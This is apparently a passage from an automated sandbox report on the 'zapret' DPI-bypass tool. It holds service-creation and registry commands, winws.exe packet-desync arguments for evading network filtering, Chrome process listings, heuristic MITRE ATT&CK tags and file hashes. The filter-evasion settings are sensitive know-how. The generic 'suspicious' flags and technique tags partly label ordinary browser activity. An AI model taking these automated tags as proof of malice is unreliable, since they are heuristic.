v1.9.9b\bin\tls_clienthello_www_google_com.bin\" --new --filter-tcp 443 --hostlist \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-google.txt\" --ip-id zero --dpi-desync hostfakesplit --dpi-desync-fooling ts --dpi-desync-hostfakesplit-mod host=www.google.com --new --filter-tcp 80,443 --hostlist \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-general.txt\" --hostlist \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-general-user.txt\" --hostlist-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude.txt\" --hostlist-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude-user.txt\" --ipset-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt\" --ipset-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude-user.txt\" --dpi-desync fake,multisplit --dpi-desync-split-seqovl 664 --dpi-desync-split-pos 1 --dpi-desync-fooling ts --dpi-desync-repeats 8 --dpi-desync-split-seqovl-pattern \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin\" --dpi-desync-fake-tls \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\stun.bin\" --dpi-desync-fake-tls \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin\" --dpi-desync-fake-http \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin\" --new --filter-udp 443 --ipset \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt\" --hostlist-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude.txt\" --hostlist-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude-user.txt\" --ipset-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt\" --ipset-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude-user.txt\" --dpi-desync fake --dpi-desync-repeats 11 --dpi-desync-fake-quic \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\quic_initial_www_google_com.bin\" --new --filter-tcp 80,443,8443 --ipset \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt\" --hostlist-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude.txt\" --hostlist-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude-user.txt\" --ipset-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt\" --ipset-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude-user.txt\" --dpi-desync fake,multisplit --dpi-desync-split-seqovl 664 --dpi-desync-split-pos 1 --dpi-desync-fooling ts --dpi-desync-repeats 8 --dpi-desync-split-seqovl-pattern \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin\" --dpi-desync-fake-tls \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\stun.bin\" --dpi-desync-fake-tls \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin\" --dpi-desync-fake-http \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin\" --new --filter-tcp 1024-65535 --ipset \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt\" --ipset-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt\" --ipset-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude-user.txt\" --dpi-desync fake,multisplit --dpi-desync-any-protocol 1 --dpi-desync-cutoff n4 --dpi-desync-split-seqovl 664 --dpi-desync-split-pos 1 --dpi-desync-fooling ts --dpi-desync-repeats 8 --dpi-desync-split-seqovl-pattern \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin\" --dpi-desync-fake-tls \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\stun.bin\" --dpi-desync-fake-tls \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin\" --dpi-desync-fake-http \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin\" --new --filter-udp 1024-65535 --ipset \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt\" --ipset-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt\" --ipset-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude-user.txt\" --dpi-desync fake --dpi-desync-repeats 10 --dpi-desync-any-protocol 1 --dpi-desync-fake-unknown-udp \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\quic_initial_dbankcloud_ru.bin\" --dpi-desync-cutoff n4" DisplayName= "zapret" start= auto
      4⤵
      Launches sc.exe
      PID:4888
  - - C:\Windows\system32\sc.exe
      sc description zapret "Zapret DPI bypass software"
      4⤵
      Launches sc.exe
      PID:4880
  - - C:\Windows\system32\sc.exe
      sc start zapret
      4⤵
      Launches sc.exe
      PID:3764
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\zapret" /v zapret-discord-youtube /t REG_SZ /d "general (ALT12)" /f
      4⤵
      PID:1568
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:5444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c type "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt" 2>nul | find /c /v ""
      4⤵
      PID:2360
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt" 2>nul"
        5⤵
        
        PID:1732
    - - C:\Windows\system32\find.exe
        
        find /c /v ""
        5⤵
        
        PID:1784
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:2924
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:2184
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg query "HKLM\System\CurrentControlSet\Services\zapret" /v zapret-discord-youtube 2>nul
      4⤵
      PID:4468
    - - C:\Windows\system32\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\zapret" /v zapret-discord-youtube
        5⤵
        
        PID:3076

C:\Users\Admin\Desktop\zapret v1.9.9b\bin\winws.exe
"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\winws.exe" --wf-tcp 80,443,2053,2083,2087,2096,8443,1024-65535 --wf-udp 443,19294-19344,50000-50100,1024-65535 --filter-udp 443 --hostlist "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-general.txt" --hostlist "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-general-user.txt" --hostlist-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude.txt" --hostlist-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude-user.txt" --ipset-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt" --ipset-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude-user.txt" --dpi-desync fake --dpi-desync-repeats 11 --dpi-desync-fake-quic "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\quic_initial_www_google_com.bin" --new --filter-udp 19294-19344,50000-50100 --filter-l7 discord,stun --dpi-desync fake --dpi-desync-fake-discord "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\stun.bin" --dpi-desync-fake-discord "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\quic_initial_dbankcloud_ru.bin" --dpi-desync-fake-stun "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\quic_initial_dbankcloud_ru.bin" --dpi-desync-repeats 3 --new --filter-tcp 2053,2083,2087,2096,8443 --hostlist-domains discord.media --dpi-desync fake,multisplit --dpi-desync-split-seqovl 681 --dpi-desync-split-pos 1 --dpi-desync-fooling ts --dpi-desync-repeats 8 --dpi-desync-split-seqovl-pattern "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_www_google_com.bin" --dpi-desync-fake-tls "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_www_google_com.bin" --new --filter-tcp 443 --hostlist "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-google.txt" --ip-id zero --dpi-desync hostfakesplit --dpi-desync-fooling ts --dpi-desync-hostfakesplit-mod host=www.google.com --new --filter-tcp 80,443 --hostlist "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-general.txt" --hostlist "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-general-user.txt" --hostlist-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude.txt" --hostlist-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude-user.txt" --ipset-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt" --ipset-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude-user.txt" --dpi-desync fake,multisplit --dpi-desync-split-seqovl 664 --dpi-desync-split-pos 1 --dpi-desync-fooling ts --dpi-desync-repeats 8 --dpi-desync-split-seqovl-pattern "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin" --dpi-desync-fake-tls "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\stun.bin" --dpi-desync-fake-tls "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin" --dpi-desync-fake-http "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin" --new --filter-udp 443 --ipset "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt" --hostlist-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude.txt" --hostlist-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude-user.txt" --ipset-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt" --ipset-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude-user.txt" --dpi-desync fake --dpi-desync-repeats 11 --dpi-desync-fake-quic "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\quic_initial_www_google_com.bin" --new --filter-tcp 80,443,8443 --ipset "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt" --hostlist-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude.txt" --hostlist-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude-user.txt" --ipset-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt" --ipset-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude-user.txt" --dpi-desync fake,multisplit --dpi-desync-split-seqovl 664 --dpi-desync-split-pos 1 --dpi-desync-fooling ts --dpi-desync-repeats 8 --dpi-desync-split-seqovl-pattern "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin" --dpi-desync-fake-tls "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\stun.bin" --dpi-desync-fake-tls "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin" --dpi-desync-fake-http "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin" --new --filter-tcp 1024-65535 --ipset "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt" --ipset-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt" --ipset-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude-user.txt" --dpi-desync fake,multisplit --dpi-desync-any-protocol 1 --dpi-desync-cutoff n4 --dpi-desync-split-seqovl 664 --dpi-desync-split-pos 1 --dpi-desync-fooling ts --dpi-desync-repeats 8 --dpi-desync-split-seqovl-pattern "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin" --dpi-desync-fake-tls "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\stun.bin" --dpi-desync-fake-tls "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin" --dpi-desync-fake-http "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin" --new --filter-udp 1024-65535 --ipset "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt" --ipset-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt" --ipset-exclude "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude-user.txt" --dpi-desync fake --dpi-desync-repeats 10 --dpi-desync-any-protocol 1 --dpi-desync-fake-unknown-udp "C:\Users\Admin\Desktop\zapret v1.9.9b\bin\quic_initial_dbankcloud_ru.bin" --dpi-desync-cutoff n4
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2224

C:\Users\Admin\Desktop\zapret v1.9.9b\bin\WinDivert64.sys
"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\WinDivert64.sys"
1⤵
- Executes dropped EXE
PID:5684

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffaa629c728,0x7ffaa629c734,0x7ffaa629c740
  2⤵
  PID:3736
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1968,i,16528195680975922439,17794174929755041769,524288 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2004 /prefetch:3
  2⤵
  - System Time Discovery
  PID:2920
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1708,i,15411845018856610786,15907586861727883019,262144 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1880 /prefetch:2
  2⤵
  PID:5760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2428,i,3204831549115472184,17845674922378428827,524288 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2588 /prefetch:8
  2⤵
  PID:5768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3192,i,2166857353456913411,6343173970826225249,2097152 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3200 /prefetch:1
  2⤵
  PID:4636
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3252,i,11034196485927842324,13486956095307514334,2097152 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3524 /prefetch:1
  2⤵
  PID:5124
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4500,i,11842624795963649458,2656251610927429605,2097152 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4528 /prefetch:2
  2⤵
  PID:3556
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4760,i,17145474927749242557,10169969729486314235,2097152 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4772 /prefetch:1
  2⤵
  PID:3216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4940,i,1143399726213416555,4273378332827859565,524288 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4896 /prefetch:8
  2⤵
  PID:1792
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5084,i,12910752369924862593,8768882628603030935,524288 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5096 /prefetch:8
  2⤵
  PID:2140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5640,i,344639577108750894,436676363390431928,524288 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5052 /prefetch:8
  2⤵
  PID:4452
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5868,i,15499948279847508913,10847858172280645942,2097152 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5840 /prefetch:1
  2⤵
  PID:1608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=4904,i,16403743040987754254,2889741020865071480,2097152 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5960 /prefetch:1
  2⤵
  PID:3300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=3172,i,14651636357320879244,6375827616576377619,2097152 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3636 /prefetch:1
  2⤵
  PID:3880
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=3540,i,5720966177000541616,10565015388821174221,524288 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3588 /prefetch:8
  2⤵
  PID:5476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3700,i,4300205247783239216,8234775770657601574,524288 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3716 /prefetch:8
  2⤵
  - Modifies registry class
  PID:1840
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3672,i,16147320930414638825,274643888662569196,524288 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3644 /prefetch:8
  2⤵
  PID:2276
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4908,i,4589216057335942856,10673381247693824060,524288 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6204 /prefetch:8
  2⤵
  PID:1200
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6156,i,8060507509092170217,1346114876113883968,524288 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5908 /prefetch:8
  2⤵
  PID:1984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6212,i,17622529501446644916,14415356882885213509,524288 --field-trial-handle=1884,i,14206051274342874745,15363211320284649570,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6368 /prefetch:8
  2⤵
  PID:5340

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 3f7674395bbc50546fcbeab4b286d3f30acc63a40e1c27f3d39bf43747fa03b0
MD5 e83ab775c0420900bfdac663c259736e
SHA1 aee7cbff913e8542668ebb4592d5946e177c1df7
SHA512 a14bd4f90cf12d8df751332dc8a6313fb5203bf46a26da9bba3f6baab094c94d9e2b616b49fcea477e06ba4759053e4f4b9b6ecae30ff3cf61c24278a9d90253
TLSH
T146E02BAAC821AC2718FD871860544789E750135F2B91554F363D5108CFB0B2B42CAC6D
MD5 SHA1 SHA512 TLSH

Submit Download

f_00000d

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000d
Size 57KB
SHA256 6303475cdd19a7c08d011c6c6862e3789b39f95797602963a78cac17ff73d1e5
MD5 73fe08c0771b0b44243114c8ea8b86bf
SHA1 03015c3d3ea5bb634dd29a50623a6147d206dc0c
SHA512 f4fe1b7b7562c4f1187ca0621ff4006be0fad055e41d772a1ff4a421eb0d18794e3c21dad72cc469b889c6ed9642616ab9c8b5bd27d87d8fb5b8f228c96407d6
SSDEEP 1536:5HBwP9e8JdgrDq3W2leMPq1AOFgHDU3kQj2W:5hc7grO47C9Du
TLSH
T1284302CFF0D8C6FE215052556E6E7628C261891FEB118DB2443F2FB2999D04172FBAE1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00000f

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000f
Size 22KB
SHA256 375b8c6fc4a5d31a804ab0fba175fbc5a9d568dcf8c901397b4ed9b57e44ba23
MD5 0030b6b0ffa7bd14095f054607ccf71f
SHA1 1f100154e60e2227ea0e33ecf4f5fa7880a4823c
SHA512 3b053b231a3f3987f34b77f4ffe527150c447f06200c0887e9d027def878eb09432d057e8a4ed13166abc964e2dceeeb7fdd6ddc70dda2f57a6a4f8019b161f8
SSDEEP 384:2YepiBp/lCM6Mj24afaLTnr8o3U5YaEeaFFwaBAhir1ubvWq49S20HHQYfTM/gYE:pepiBp9L6Q24QB75Ya2wxhirU89SFHl3
TLSH
T1FEB2E0C32D9F03EAABC0D122E47CFE4964292D6FC62C9E1314F4D471E5D452216AFBA0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000010

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000010
Size 34KB
SHA256 b06e9b1c574343a660c052bd4ead7cd86194e3ea4fca5f79c634a3ffcf2129f6
MD5 13e1cf5ec6812ab6ee4e6b5dc59fcf6d
SHA1 122bcbe74f5e99aa7d26dba45ecec7ac9c54bb10
SHA512 85b882037933c6e737142e342820d8c2d255191bf72fff6aa8dafb5115e0e5e68fd259a252d495ab0b87f7c5fe27e54f547545c679c6a1bb63a26f58819b60ff
SSDEEP 768:rUvWs+BekbGl1JB/NXlfmwqJ0ugJfAgYQeNykAHsfe:AOsl/DXlfmwqgJfAgPAy3HWe
TLSH
T12EF2F265B2DDA43570B77BFA9317ADA2CD70B8A640CF91887D170857A30BF73944D148
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000011

